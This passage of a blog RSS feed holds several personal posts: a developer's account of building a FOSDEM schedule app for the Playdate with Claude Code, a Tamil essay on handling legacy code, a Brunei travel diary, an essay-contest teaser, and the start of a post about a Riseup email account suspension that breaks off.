Create a browser using playdate gridview, display title and location in the first line
and a scrollable list of talks below it.
Only use the DTSTART, DTEND, SUMMARY, CATEGORIES, URL, LOCATION fields from the ICS file.
The user should be able to switch the category with left/right as well as the crank
Respect shouldDisplay24HourTime
on selecting a talk, show a talk details page with the title, and a QR code for the talk.
I corrected the SPEC a bit, and you can see it (very lightly edited since)
in the repo
Day 1
I assumed that Claude wouldn’t have enough training data on Playdate APIs, so I went through the SDK docs,
and copied out whatever I felt relevant to a txt file. In my case, I didn’t care for video, audio, and most graphics
APIs. This turned out to be 89KB of text. Passed it along with the spec to the Opus in the first
session, which immediately got lost in trying to fetch the schedule, so I had to wget it and force it to
only read 100 lines. The plan it generated looked okay, so I went ahead.
Fixing Bugs and Progress
The first version was buggy (it did compile), but none of the bugs were major and I got it working in a few more
prompts and manual fixes.
The timezone code was incorrect, at the first sight.
Asked for name suggestions, picked the first one.
Ran the app on the simulator, and it broke because it tried to use the network permission incorrectly.
A lot of effort on fixing unicode problems (I attempted to solve this at first on the playdate layer, but moved it to python scripts that fetch and parse the schedule).
Launched the app on device to realize: Parsing a really large ICS file times out on the device, and generating QR codes takes 15-20 seconds. Switched both to build time. The playdate docs suggest pre-generating QR codes.
Lots of layout bugs. In particular, the talk text on the schedule list was never visible and no prompting fixed it - it assumed a black/white color and paint mode bug. I went in and looked and the font height was generated and was too low. This was however expected in the absence of a fast feedback loop.
I’d often write one-time scripts with a prompt like:
    

Write a Python script inside scripts directory that has zero dependencies,
fetches https://fosdem.org/2026/schedule/ical, parses the ICS and saves it as
a large JSON array of arrays. Each item in the large array is a event. The
event is represented as a list of [ID, SUMMARY,
CATEGORIES,LOCATION,DTSTART,DTEND] ID is extracted from the URL
(https://fosdem.org/2026/schedule/event/L3BK7S-free-as-in-burned-out/ ->
L3BK7S). We do not use any keys to compact space.

    
Decided to remove the Network Sync code, since I could not parse the fetched content at runtime anyway.
Generated a HACKING.md to document the code so i can pick up the session.
Fixed a few more silly state bugs.
Day 2 Progress
I decided to tackle the harder problems, and they were one-shotted fairly nicely:
A Devroom configuration page to configure which rooms to show.
Create a stands browser
Have a home page landing UI.
Maps View
Saved talks
About Page (inheriting the work from the Talk View)
The code for all of these features is not very elegant, but I didn’t care that much - it was
functional and performant for an app that nobody uses beyond 2 days.
Maps
I attempted to resize and clean up the maps manually but it was too much
effort (Building H map in the app is mine). Then went with Gemini Pro to get
a dithered map out instead, which wasn’t perfect either and looked worse at
being scaled down. Switched to a “pan view” instead and that worked okay.
Still not very happy here3 - I might switch to the maps that are used in the
FOSDEM iOS app instead.
Overall Notes
I’d rate Claude’s contribution at somewhere around 60% - I found it faster to
manually fix lots of bugs (also realizing that there is an extra overhead in
understanding the code before I can actually fix it). However, things where I
don’t have experience - Game state management, input handling - I was able to
rely on Claude to get it mostly right. I used Opus throughout the project,
and this is the first model where it writes code that is similar in shape to what
I’d write.
See you at FOSDEM?
If you’d like to try the app, come say Hi at FOSDEM. I’ll be at the FOSS United Booth
in Building K, Level 2. Or drop me a message. Bug reports are accepted in
person only. Kurbelfahrplan is Beerware, so buy me a beer if you like it!
I wanted to switch from my custom list view to the gridview in the Playdate SDK and it took me too much time and effort to make the refactor work. ↩
There is no way to get timezone in the playdate lua SDK, so you need a workaround. ↩
One of my ideas is to switch to a leaflet maptile renderer instead and pre-fetch all tiles from https://nav.fosdem.org/. ↩]]></description>
            <content:encoded><![CDATA[<p>I recently published <a href="https://captnemo.in/kurbelfahrplan/">Kurbelfahrplan</a>, a FOSDEM schedule
app for the <a href="https://play.date">Playdate</a>. This was the first project
where I’ve been quite happy with using Claude Code for development, and used
it much beyond Copilot autocomplete and came closer to vibe-coding.</p>

<p><img src="https://captnemo.in/kurbelfahrplan/screenshots/landing.png" alt="Screenshot of the playdate simulator with Kurbelfahrplan home screen" /></p>

<p>You can see the complete <a href="https://captnemo.in/projects/claude-archive/kurbelfahrplan/">development transcript</a>
of my claude-code session. It was interesting as a 2-day greenfield project and I
thought it might be nice to document my learnings/process a little bit.</p>

<p>I’d attempted building a game and an app on the playdate before (still WIP) so
I had some experience with the tooling. I’d moved on when faced with Lua
refactoring challenges<sup id="fnref:3"><a href="#fn:3" class="footnote" rel="footnote" role="doc-noteref">1</a></sup>.</p>

<p>This time around, I had a fairly good idea of what the final app would look like:
the playdate has a lot of constraints that restrict the design space, and
existing apps all have feature parity.</p>

<p>Here’s some of the things I tried:</p>

<h2 id="specification">Specification</h2>

<p>Gave a prompt to Gemini Pro and had it generate a SPEC. It included a link to the SDK,
a mention of the <a href="https://devforum.play.date/t/gettimezoneoffset-offset-in-lua/22052">timezone workaround</a>
<sup id="fnref:1"><a href="#fn:1" class="footnote" rel="footnote" role="doc-noteref">2</a></sup> - I wanted the app to only work in UTC+1 to avoid confusion. I passed it enough context
from the schedule.ics file, and on the data storage layer (make separate tables for each Devroom). I don’t have the prompt anymore but it was something like:</p>

<blockquote>
  <p>write a specification (passed to claude code) for a playdate lua app that will be a fosdem schedule calendar app. See
playdate docs at $link. At launch, we want to check the timezone by doing a diff between
epochFromTime and epochFromGMTTime, and then download the latest schedule in ICS format
from $link. Save the schedule as multiple tables in lua, one table for each category.
Create a browser using playdate gridview, display title and location in the first line
and a scrollable list of talks below it.
Only use the <code class="language-plaintext highlighter-rouge">DTSTART</code>, <code class="language-plaintext highlighter-rouge">DTEND</code>, <code class="language-plaintext highlighter-rouge">SUMMARY</code>, <code class="language-plaintext highlighter-rouge">CATEGORIES</code>, <code class="language-plaintext highlighter-rouge">URL</code>, <code class="language-plaintext highlighter-rouge">LOCATION</code> fields from the ICS file.
The user should be able to switch the category with left/right as well as the crank
Respect shouldDisplay24HourTime
on selecting a talk, show a talk details page with the title, and a QR code for the talk.</p>
</blockquote>

<p>I corrected the SPEC a bit, and you can see it (very lightly edited since)
<a href="https://codeberg.org/captn3m0/kurbelfahrplan/src/branch/main/SPEC.md">in the repo</a></p>

<h2 id="day-1">Day 1</h2>

<p>I assumed that Claude wouldn’t have enough training data on Playdate APIs, so I went through the SDK docs,
and copied out whatever I felt relevant to a txt file. In my case, I didn’t care for video, audio, and most graphics
APIs. This turned out to be 89KB of text. Passed it along with the spec to the Opus in the first
session, which immediately got lost in trying to fetch the schedule, so I had to wget it and force it to
only read 100 lines. The <a href="https://captnemo.in/claude-archive/kurbelfahrplan/01928147-7f7c-4606-9037-f95e1d14093f/page-003.html#msg-2026-01-22T11-36-03-286Z">plan it generated</a> looked okay, so I went ahead.</p>

<h2 id="fixing-bugs-and-progress">Fixing Bugs and Progress</h2>

<p>The first version was buggy (it did compile), but none of the bugs were major and I got it working in a few more
prompts and manual fixes.</p>

<ol>
  <li>The timezone code was incorrect, at the first sight.</li>
  <li>Asked for name suggestions, picked the first one.</li>
  <li>Ran the app on the simulator, and it broke because it tried to use the network permission incorrectly.</li>
  <li>A lot of effort on fixing unicode problems (I attempted to solve this at first on the playdate layer, but moved it to python scripts that fetch and parse the schedule).</li>
  <li>Launched the app on device to realize: Parsing a really large ICS file times out on the device, and generating QR codes takes 15-20 seconds. Switched both to build time. The playdate docs suggest pre-generating QR codes.</li>
  <li>Lots of layout bugs. In particular, the talk text on the schedule list was never visible and no prompting fixed it - it assumed a black/white color and paint mode bug. I went in and looked and the font height was generated and was too low. This was however expected in the absence of a fast feedback loop.</li>
  <li>I’d often write one-time scripts with a prompt like:
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Write a Python script inside scripts directory that has zero dependencies,
fetches https://fosdem.org/2026/schedule/ical, parses the ICS and saves it as
a large JSON array of arrays. Each item in the large array is a event. The
event is represented as a list of [ID, SUMMARY,
CATEGORIES,LOCATION,DTSTART,DTEND] ID is extracted from the URL
(https://fosdem.org/2026/schedule/event/L3BK7S-free-as-in-burned-out/ -&gt;
L3BK7S). We do not use any keys to compact space.
</code></pre></div>    </div>
  </li>
  <li>Decided to remove the Network Sync code, since I could not parse the fetched content at runtime anyway.</li>
  <li>Generated a <code class="language-plaintext highlighter-rouge">HACKING.md</code> to document the code so i can pick up the session.</li>
  <li>Fixed a few more silly state bugs.</li>
</ol>

<h2 id="day-2-progress">Day 2 Progress</h2>

<p>I decided to tackle the harder problems, and they were one-shotted fairly nicely:</p>

<ol>
  <li>A Devroom configuration page to configure which rooms to show.</li>
  <li>Create a stands browser</li>
  <li>Have a home page landing UI.</li>
  <li>Maps View</li>
  <li>Saved talks</li>
  <li>About Page (inheriting the work from the Talk View)</li>
</ol>

<p>The code for all of these features is not very elegant, but I didn’t care that much - it was
functional and performant for an app that nobody uses beyond 2 days.</p>

<h2 id="maps">Maps</h2>

<p>I attempted to resize and clean up the maps manually but it was too much
effort (Building H map in the app is mine). Then went with Gemini Pro to get
a dithered map out instead, which wasn’t perfect either and looked worse at
being scaled down. Switched to a “pan view” instead and that worked okay.
Still not very happy here<sup id="fnref:2"><a href="#fn:2" class="footnote" rel="footnote" role="doc-noteref">3</a></sup> - I might switch to the maps that are used in the
FOSDEM iOS app instead.</p>

<h2 id="overall-notes">Overall Notes</h2>

<p>I’d rate Claude’s contribution at somewhere around 60% - I found it faster to
manually fix lots of bugs (also realizing that there is an extra overhead in
understanding the code before I can actually fix it). However, things where I
don’t have experience - Game state management, input handling - I was able to
rely on Claude to get it <em>mostly right</em>. I used Opus throughout the project,
and this is the first model where it writes code that is similar in shape to what
I’d write.</p>

<h2 id="see-you-at-fosdem">See you at FOSDEM?</h2>

<p>If you’d like to try the app, come say Hi at FOSDEM. I’ll be at the FOSS United Booth
in Building K, Level 2. Or drop me a <a href="https://captnemo.in/contact/">message</a>. Bug reports are accepted in
person only. Kurbelfahrplan is Beerware, so buy me a beer if you like it!</p>

<div class="footnotes" role="doc-endnotes">
  <ol>
    <li id="fn:3">
      <p>I wanted to switch from my custom list view to the gridview in the Playdate SDK and it took me too much time and effort to make the refactor work. <a href="#fnref:3" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:1">
      <p>There is no way to get timezone in the playdate lua SDK, so you need a workaround. <a href="#fnref:1" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:2">
      <p>One of my ideas is to switch to a leaflet maptile renderer instead and pre-fetch all tiles from https://nav.fosdem.org/. <a href="#fnref:2" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
  </ol>
</div>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[மாற்றங்களே வினா, மாற்றங்களே விடை!]]></title>
            <link>https://programmerlife1.wordpress.com/2026/01/19/%e0%ae%ae%e0%ae%be%e0%ae%b1%e0%af%8d%e0%ae%b1%e0%ae%99%e0%af%8d%e0%ae%95%e0%ae%b3%e0%af%87-%e0%ae%b5%e0%ae%bf%e0%ae%a9%e0%ae%be-%e0%ae%ae%e0%ae%be%e0%ae%b1%e0%af%8d%e0%ae%b1%e0%ae%99%e0%af%8d/</link>
            <guid isPermaLink="false">https://programmerlife1.wordpress.com/2026/01/19/%e0%ae%ae%e0%ae%be%e0%ae%b1%e0%af%8d%e0%ae%b1%e0%ae%99%e0%af%8d%e0%ae%95%e0%ae%b3%e0%af%87-%e0%ae%b5%e0%ae%bf%e0%ae%a9%e0%ae%be-%e0%ae%ae%e0%ae%be%e0%ae%b1%e0%af%8d%e0%ae%b1%e0%ae%99%e0%af%8d/</guid>
            <pubDate>Mon, 19 Jan 2026 18:56:48 GMT</pubDate>
            <description><![CDATA[நீங்கள் ஒரு நாள் சரியாக இல்லாத (messy) code-ஐ கண்டிப்பாக நிச்சயமாக ஏதோ ஒரு வழியில் பெறுவீர்கள்.அதை எழுதிய developer-ஐ கேலி செய்ய வேண்டாம். சில சமயங்களில் அது நீங்கள் எழுதியதாக கூட இருக்கலாம். பல developers ஒரு file-ஐத் திறந்தவுடன்,“இந்த குப்பையை யார் எழுதியது ? எல்லாத்தையும் rewrite பண்ணிடலாம்” என்று சொல்வதை நான் பார்த்திருக்கிறேன். ஆனால் Context மிகவும் முக்கியம். அந்த நிர: அதனால் code-ஐ மட்டும் பார்த்து தீர்ப்பு சொல்லக் கூடாது. இதற்கு […]]]></description>
            <content:encoded><![CDATA[
<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph">நீங்கள் ஒரு நாள் <strong>சரியாக இல்லாத (messy) code</strong>-ஐ கண்டிப்பாக நிச்சயமாக ஏதோ ஒரு வழியில் பெறுவீர்கள்.<br>அதை எழுதிய developer-ஐ கேலி செய்ய வேண்டாம். சில சமயங்களில் அது நீங்கள் எழுதியதாக கூட இருக்கலாம்.</p>



<p class="wp-block-paragraph">பல developers ஒரு file-ஐத் திறந்தவுடன்,<br>“இந்த குப்பையை யார் எழுதியது ? எல்லாத்தையும் rewrite பண்ணிடலாம்” என்று சொல்வதை நான் பார்த்திருக்கிறேன்.</p>



<p class="wp-block-paragraph">ஆனால் <strong>Context</strong> மிகவும் முக்கியம்.</p>



<p class="wp-block-paragraph">அந்த நிர:</p>



<ul class="wp-block-list">
<li><strong>2 மணி நேரத்தில் delivery</strong> செய்ய வேண்டிய சூழலில் எழுதப்பட்டிருக்கலாம்.</li>



<li>அந்த காலத்தில் <strong>hooks, modern tools</strong> எதுவுமே இல்லாமல் இருக்கலாம்.</li>



<li>ஒரே developer, <strong>மூன்று பேருடைய வேலையையும்</strong> தனியாகச் செய்து கொண்டிருக்கலாம்.</li>
</ul>



<p class="wp-block-paragraph">அதனால் code-ஐ மட்டும் பார்த்து தீர்ப்பு சொல்லக் கூடாது.</p>



<p class="wp-block-paragraph">இதற்கு ஒரு நல்ல விதி இருக்கிறது — <strong>Boy Scout Rule</strong>.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">“நீ கண்ட code-ஐ விட,<br>அதை கொஞ்சமாவது சுத்தமாக்கி விட்டு போ.”</p>
</blockquote>



<p class="wp-block-paragraph">Day 1-லேயே உலகத்தையே மறு உருவாக்கம்(rewrite) செய்ய வேண்டிய அவசியம் இல்லை. </p>



<p class="wp-block-paragraph">பல சமயங்களில் அது தேவையில்லாமல் கூட இருக்கலாம்.<br>வேலை செய்யும் இடங்களில்,<br>சின்ன சின்ன refactor-களை செய்து,<br>code-ஐ மெதுவாக நல்ல நிலையில் கொண்டு வருவது தான் புத்திசாலித்தனம் அதுதான் எளிமையாக செய்யக்கூடியதும் கூட.</p>



<p class="wp-block-paragraph">இன்னொரு முக்கியமான கருத்து — <strong>Chesterton’s Fence</strong>.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">“ஒரு வேலி ஏன் போடப்பட்டது என்று தெரியாமல்,<br>அதை இடிக்கக் கூடாது.”</p>
</blockquote>



<p class="wp-block-paragraph">அந்த logic, அந்த hack, அந்த workaround —<br>அது ஏதோ ஒரு காரணத்துக்காக அங்கே இருக்கலாம்.</p>



<p class="wp-block-paragraph">சில சமயங்களில் காரணங்கள் கூட குறிப்பிடப்பட்டிருக்காது.<br>அந்த காரணத்தை புரிந்து கொள்ளாமல் மாற்றினால்,<br>புதிய பிரச்சனைகள் உருவாகும்.</p>



<p class="wp-block-paragraph">இறுதியாக ஒரு சிந்தனை:</p>



<p class="wp-block-paragraph">நீங்கள் எதைக் அதிகம் ரசிக்கிறீர்கள்?<br><strong>இருக்கும் code-ஐ புரிந்து, மெதுவாக மேம்படுத்துவதையா?</strong><br>அல்லது<br><strong>புதிதாக, greenfield project-ஐ ஆரம்பிப்பதையா?</strong></p>



<p class="wp-block-paragraph">இரண்டும் developer வாழ்க்கையின் ஒரு பகுதி தான்.<br>ஆனால் நல்ல developer என்பவர்,<br>கெட்ட code-ஐ பார்த்து கோபப்படாமல்,<br>அதன் பின்னணி கதையை புரிந்து கொண்டு,<br>அதை நாளுக்கு நாள் சிறப்பாக்குபவரே.</p>



<p class="wp-block-paragraph">மாற்றங்களே வினா மாற்றங்களே விடை! </p>



<p class="wp-block-paragraph">ஆகவே சற்று சிந்தித்து செயலாற்றுங்கள்!</p>
]]></content:encoded>
            <author>Hariharan</author>
            <category>Uncategorized</category>
            <category>legacy</category>
            <category>philosophy</category>
            <category>programming</category>
            <category>refactoring</category>
            <enclosure url="https://2.gravatar.com/avatar/ba050e0f16c167f438c99536934cfa2750edf37b00c0d35f34c2334c274d6e9e?s=96&d=identicon&r=G" length="0" type="image//avatar/ba050e0f16c167f438c99536934cfa2750edf37b00c0d35f34c2334c274d6e9e"/>
        </item>
        <item>
            <title><![CDATA[My experiences in Brunei]]></title>
            <link>https://ravidwivedi.in/posts/brunei/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/brunei/</guid>
            <pubDate>Sat, 17 Jan 2026 17:15:23 GMT</pubDate>
            <description><![CDATA[In December 2024, Badri and I went to Brunei’s capital, Bandar Seri Begawan. Brunei—officially Brunei Darussalam—is a country in Southeast Asia, located on Borneo Island. It is one of the few remaining absolute monarchies on Earth.
On the morning of the 10th of December 2024, we reached Brunei International Airport by taking a flight from Kuala Lumpur. Upon arrival at the airport, we had to go through immigration, of course. When I was standing in the queue, I was reminded that I hadn’t filled out my arrival card. So I filled it out and submitted it online while I was in the queue.
The immigration officer asked me how much cash I was carrying of each currency. After completing the formalities, the immigration officer stamped my passport and let me in. Take a look at Brunei’s entry stamp in my passport.

      
Brunei entry stamp on my passport. Picture by Ravi Dwivedi, released under CC-BY-SA 4.0.
We exchanged Singapore dollars to get some Brunei dollars at the airport. The Brunei dollar was pegged 1:1 with the Singapore dollar, meaning 1 Singapore dollar equals 1 Brunei dollar. The exchange rate we received at the airport was the same.
Our (pre-booked) accommodation was located near Gadong Mall. So, we went to the information center at the airport to ask how to get there by public transport. However, the person at the information center told us that they didn’t know the public transport routes and suggested we take a taxi instead.
We came out of the airport and came across an Indian with a bus. The bus seemed more like a minibus by Indian standards. He offered to drop us at our accommodation for 10 Brunei dollars (₹630). As we were tired after a sleepless night, we didn’t negotiate and took the offer. There was nobody else on the bus, and it felt a bit weird using the minibus as our private taxi.
In around half an hour, we reach our accommodation. The place was more like a guest house than a hotel. In addition to the rooms, it had common space consisting of a hall, a kitchen, and a balcony.

      
Our room in Brunei. Picture by Ravi Dwivedi, released under CC-BY-SA 4.0
Upon reaching the place, we paid for our room in cash, which was 66.70 Singapore dollars (4200 Indian rupees) for two nights. We arrived before the check-in time, so we had to wait for our room to get ready before we entered.
The room had a double bed and also a place to hang clothes. We slept for a few hours before going out at night. We went into Gadong Mall and had coffee at a café named The Coffee Bean & Tea Leaf. The regular caffe latte I had here was 5.20 Brunei dollars. On another note, the snacks we got in Kuala Lumpur covered us for the dinner.
The next day—11th of December 2024—we went to a nearby restaurant named Nadj for lunch. The owner was from Kerala. Here we ordered:
1 paneer pepper masala for 5 Brunei dollars (320 rupees)
1 nasi goreng pattaya biasa for 4.50 Brunei dollars (290 rupees)
1 plain naan for 1.50 Brunei dollars (100 rupees)
1 butter naan for 1.80 Brunei dollars (115 rupees)
So, our lunch cost a total of 12.80 Brunei dollars (825 rupees). I didn’t like the fact that the naan was unusually thick.
After the lunch, we planned to visit Brunei’s famous Omar Ali Saifuddien Mosque. However, a minibus driver outside of Gadong Mall told us that the mosque would be closed in half an hour and suggested we visit the nearby Jame’ Asr Hassanil Bolkiah Mosque instead.

      
Jame’ Asr Hassanil Bolkiah Mosque. Picture by Ravi Dwivedi, released under CC-BY-SA 4.0
He dropped us there for 1 Brunei dollar per person, which seemed like the standard rate for any bus ride in Brunei. The person hailed from Uttar Pradesh and told us about bus routes in Hindi. Bus routes in Brunei were confusing, so the information he gave us was valuable.
It was evening, and we had the impression that the mosque and its premises were closed. However, soon enough, we stumbled across an open gate entering the mosque complex. We walked inside for some time, took pictures, and exited. Walking in Bandar Seri Begawan wasn’t pleasant, though. The pedestrian infrastructure wasn’t good.
Then we walked back to our place and bought some souvenirs. For dinner and breakfast, we bought bread, fruits, and eggs from local shops, as we had a kitchen to cook for ourselves.
The guest house also had a washing machine (free of charge), which we wanted to use. However, they didn’t have detergent. Therefore, we went outside to get some detergent. It was 8 o’clock, and most of the shops were closed already. Others had detergents in large sizes, the ones you would use if you lived there. We ended up getting a small packet at a supermarket.
The next day—the 12th of December—we had a flight to Ho Chi Minh City in Vietnam with a long layover in Kuala Lumpur. We had breakfast in the morning and took a bus to Omar Ali Saifuddien Mosque. The mosque was in prayer session, so it was closed for Muslims. Therefore, we just took pictures from the outside and took a bus to the airport.

      
Omar Ali Saifuddien Mosque. Picture by Ravi Dwivedi, released under CC-BY-SA 4.0
When the bus reached near the airport, the bus went straight rather than taking a left turn for the airport. Initially, I thought the bus would just take a turn and come back. However, the bus kept going away from the airport. Confused by this, I asked other passengers if the bus was going to the airport. The driver stopped the bus at Muara Town terminal— 20 km from the airport. At this point, everyone alighted, except for us. The driver went to a nearby restaurant to have lunch.
I felt very uncomfortable stranded in a town that was 20 km from the airport. We had a lot of time, but I was still worried about missing our flight, as I didn’t want to get stuck in Brunei. After waiting for 15 minutes, I went inside the restaurant and reminded the driver that we had a flight in a couple of hours and needed to go to the airport. He said he will leave soon.
When he was done with his lunch, he drove us to the airport. It was incredibly frustrating. On a positive note, we saw countryside in Brunei that we would not have seen otherwise. The bus ride cost us 1 Brunei dollar each.

      
A shot of Brunei’s countryside. Picture by Ravi Dwivedi, released under CC-BY-SA 4.0.
That’s it for this one. Meet you in the next one. Stay tuned for the Vietnam post!
Thanks to Badri for proofreading.]]></description>
            <content:encoded><![CDATA[<p>In December 2024, Badri and I went to Brunei&rsquo;s capital, Bandar Seri Begawan. Brunei—officially Brunei Darussalam—is a country in Southeast Asia, located on Borneo Island. It is one of the few remaining absolute monarchies on Earth.</p>
<p>On the morning of the 10th of December 2024, we reached Brunei International Airport by taking a flight from Kuala Lumpur. Upon arrival at the airport, we had to go through immigration, of course. When I was standing in the queue, I was reminded that I hadn&rsquo;t filled out my arrival card. So I filled it out and submitted it online while I was in the queue.</p>
<p>The immigration officer asked me how much cash I was carrying of each currency. After completing the formalities, the immigration officer stamped my passport and let me in. Take a look at Brunei&rsquo;s entry stamp in my passport.</p>
<figure><img src="https://ravidwivedi.in/images/brunei/brunei-entry-stamp.avif"
    alt="Brunei entry stamp" width="300"><figcaption>
      <p>Brunei entry stamp on my passport. Picture by Ravi Dwivedi, released under CC-BY-SA 4.0.</p>
    </figcaption>
</figure>

<p>We exchanged Singapore dollars to get some Brunei dollars at the airport. The Brunei dollar was pegged 1:1 with the Singapore dollar, meaning 1 Singapore dollar equals 1 Brunei dollar. The exchange rate we received at the airport was the same.</p>
<p>Our (pre-booked) accommodation was located near Gadong Mall. So, we went to the information center at the airport to ask how to get there by public transport. However, the person at the information center told us that they didn’t know the public transport routes and suggested we take a taxi instead.</p>
<p>We came out of the airport and came across an Indian with a bus. The bus seemed more like a minibus by Indian standards. He offered to drop us at our accommodation for 10 Brunei dollars (₹630). As we were tired after a sleepless night, we didn’t negotiate and took the offer. There was nobody else on the bus, and it felt a bit weird using the minibus as our private taxi.</p>
<p>In around half an hour, we reach our accommodation. The place was more like a guest house than a hotel. In addition to the rooms, it had common space consisting of a hall, a kitchen, and a balcony.</p>
<figure><img src="https://ravidwivedi.in/images/brunei/room-in-brunei.avif"
    alt="Our room in Brunei" width="500"><figcaption>
      <p>Our room in Brunei. Picture by Ravi Dwivedi, released under CC-BY-SA 4.0</p>
    </figcaption>
</figure>

<p>Upon reaching the place, we paid for our room in cash, which was 66.70 Singapore dollars (4200 Indian rupees) for two nights. We arrived before the check-in time, so we had to wait for our room to get ready before we entered.</p>
<p>The room had a double bed and also a place to hang clothes. We slept for a few hours before going out at night. We went into Gadong Mall and had coffee at a café named The Coffee Bean &amp; Tea Leaf. The regular caffe latte I had here was 5.20 Brunei dollars. On another note, the snacks we got in Kuala Lumpur covered us for the dinner.</p>
<p>The next day—11th of December 2024—we went to a nearby restaurant named Nadj for lunch. The owner was from Kerala. Here we ordered:</p>
<ul>
<li>1 paneer pepper masala for 5 Brunei dollars (320 rupees)</li>
<li>1 nasi goreng pattaya biasa for 4.50 Brunei dollars (290 rupees)</li>
<li>1 plain naan for 1.50 Brunei dollars (100 rupees)</li>
<li>1 butter naan for 1.80 Brunei dollars (115 rupees)</li>
</ul>
<p>So, our lunch cost a total of 12.80 Brunei dollars (825 rupees). I didn&rsquo;t like the fact that the naan was unusually thick.</p>
<p>After the lunch, we planned to visit Brunei&rsquo;s famous Omar Ali Saifuddien Mosque. However, a minibus driver outside of Gadong Mall told us that the mosque would be closed in half an hour and suggested we visit the nearby Jame&rsquo; Asr Hassanil Bolkiah Mosque instead.</p>
<figure><img src="https://ravidwivedi.in/images/brunei/mosque-1.avif"
    alt="Jame&#39; Asr Hassanil Bolkiah Mosque" width="500"><figcaption>
      <p>Jame&rsquo; Asr Hassanil Bolkiah Mosque. Picture by Ravi Dwivedi, released under CC-BY-SA 4.0</p>
    </figcaption>
</figure>

<p>He dropped us there for 1 Brunei dollar per person, which seemed like the standard rate for any bus ride in Brunei. The person hailed from Uttar Pradesh and told us about bus routes in Hindi. Bus routes in Brunei were confusing, so the information he gave us was valuable.</p>
<p>It was evening, and we had the impression that the mosque and its premises were closed. However, soon enough, we stumbled across an open gate entering the mosque complex. We walked inside for some time, took pictures, and exited. Walking in Bandar Seri Begawan wasn&rsquo;t pleasant, though. The pedestrian infrastructure wasn&rsquo;t good.</p>
<p>Then we walked back to our place and bought some souvenirs. For dinner and breakfast, we bought bread, fruits, and eggs from local shops, as we had a kitchen to cook for ourselves.</p>
<p>The guest house also had a washing machine (free of charge), which we wanted to use. However, they didn&rsquo;t have detergent. Therefore, we went outside to get some detergent. It was 8 o&rsquo;clock, and most of the shops were closed already. Others had detergents in large sizes, the ones you would use if you lived there. We ended up getting a small packet at a supermarket.</p>
<p>The next day—the 12th of December—we had a flight to Ho Chi Minh City in Vietnam with a long layover in Kuala Lumpur. We had breakfast in the morning and took a bus to Omar Ali Saifuddien Mosque. The mosque was in prayer session, so it was closed for Muslims. Therefore, we just took pictures from the outside and took a bus to the airport.</p>
<figure><img src="https://ravidwivedi.in/images/brunei/mosque-2.avif"
    alt="Omar Ali Saifuddien Mosque" width="500"><figcaption>
      <p>Omar Ali Saifuddien Mosque. Picture by Ravi Dwivedi, released under CC-BY-SA 4.0</p>
    </figcaption>
</figure>

<p>When the bus reached near the airport, the bus went straight rather than taking a left turn for the airport. Initially, I thought the bus would just take a turn and come back. However, the bus kept going away from the airport. Confused by this, I asked other passengers if the bus was going to the airport. The driver stopped the bus at <a href="https://osmapp.org/hCGKign">Muara Town terminal</a>— 20 km from the airport. At this point, everyone alighted, except for us. The driver went to a nearby restaurant to have lunch.</p>
<p>I felt very uncomfortable stranded in a town that was 20 km from the airport. We had a lot of time, but I was still worried about missing our flight, as I didn&rsquo;t want to get stuck in Brunei. After waiting for 15 minutes, I went inside the restaurant and reminded the driver that we had a flight in a couple of hours and needed to go to the airport. He said he will leave soon.</p>
<p>When he was done with his lunch, he drove us to the airport. It was incredibly frustrating. On a positive note, we saw countryside in Brunei that we would not have seen otherwise. The bus ride cost us 1 Brunei dollar each.</p>
<figure><img src="https://ravidwivedi.in/images/brunei/countryside.avif"
    alt="A couple of houses with trees in the background." width="500"><figcaption>
      <p>A shot of Brunei&rsquo;s countryside. Picture by Ravi Dwivedi, released under CC-BY-SA 4.0.</p>
    </figcaption>
</figure>

<p>That&rsquo;s it for this one. Meet you in the next one. Stay tuned for the Vietnam post!</p>
<p><strong>Thanks to <a href="https://badrihippo.thekambattu.rocks/">Badri</a> for proofreading.</strong></p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[A Consciousness is A Dedekind Cut]]></title>
            <link>https://www.evalapply.org/posts/consciousness-lives-in-a-dedekind-cut/index.html</link>
            <guid isPermaLink="false">https://www.evalapply.org/posts/consciousness-lives-in-a-dedekind-cut/index.html</guid>
            <pubDate>Fri, 16 Jan 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Aiming for last place at the 2025 Berggruen Prize Open Essay Contest, on the theme of consciousness, intelligence, and the nature of mind in an age of advancing artificial systems.]]></description>
            <content:encoded><![CDATA[Aiming for last place at the 2025 Berggruen Prize Open Essay Contest, on the theme of consciousness, intelligence, and the nature of mind in an age of advancing artificial systems.]]></content:encoded>
            <author>Aditya Athalye</author>
            <category>meta</category>
            <category>writing</category>
            <category>ai</category>
            <category>intelligence_augmentation</category>
            <category>tools_for_thought</category>
        </item>
        <item>
            <title><![CDATA[Why my Riseup account got suspended (and reinstated)]]></title>
            <link>https://ravidwivedi.in/posts/suspension-of-my-riseup-account/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/suspension-of-my-riseup-account/</guid>
            <pubDate>Wed, 07 Jan 2026 18:24:04 GMT</pubDate>
            <description><![CDATA[Disclaimer: The goal of this post is not to attack Riseup. In fact, I love Riseup and support their work.
Story
Riseup is an email provider, known for its privacy-friendly email service. The service requires an invite from an existing Riseup email user to get an account.
I created my account on Riseup in the year 2020, of course with the help of a friend who invited me. Since then, I have used the email address only occasionally, although it is logged into my Thunderbird all the time.
Fast-forward to the 4th of January 2026, when Thunderbird suddenly told me that it could not log in to my Riseup account. When I tried logging in using their webmail, it said “invalid password”. Finally, I tried logging in to my account on their website, and was told that…
Log in for that account is temporary suspended while we perform maintenance. Please try again later.
At this point, I suspected that the Riseup service itself was facing some issues. I asked a friend who had an account there if the service was up, and they said that it was. The issue seemed to be specific only to my account.
I contacted Riseup support and informed them of the issue. They responded the next day (the 5th of January) saying:
The my-username-redacted account was found inviting another account that violated our terms of use. As a security measure we suspend all related accounts to ToS violations.
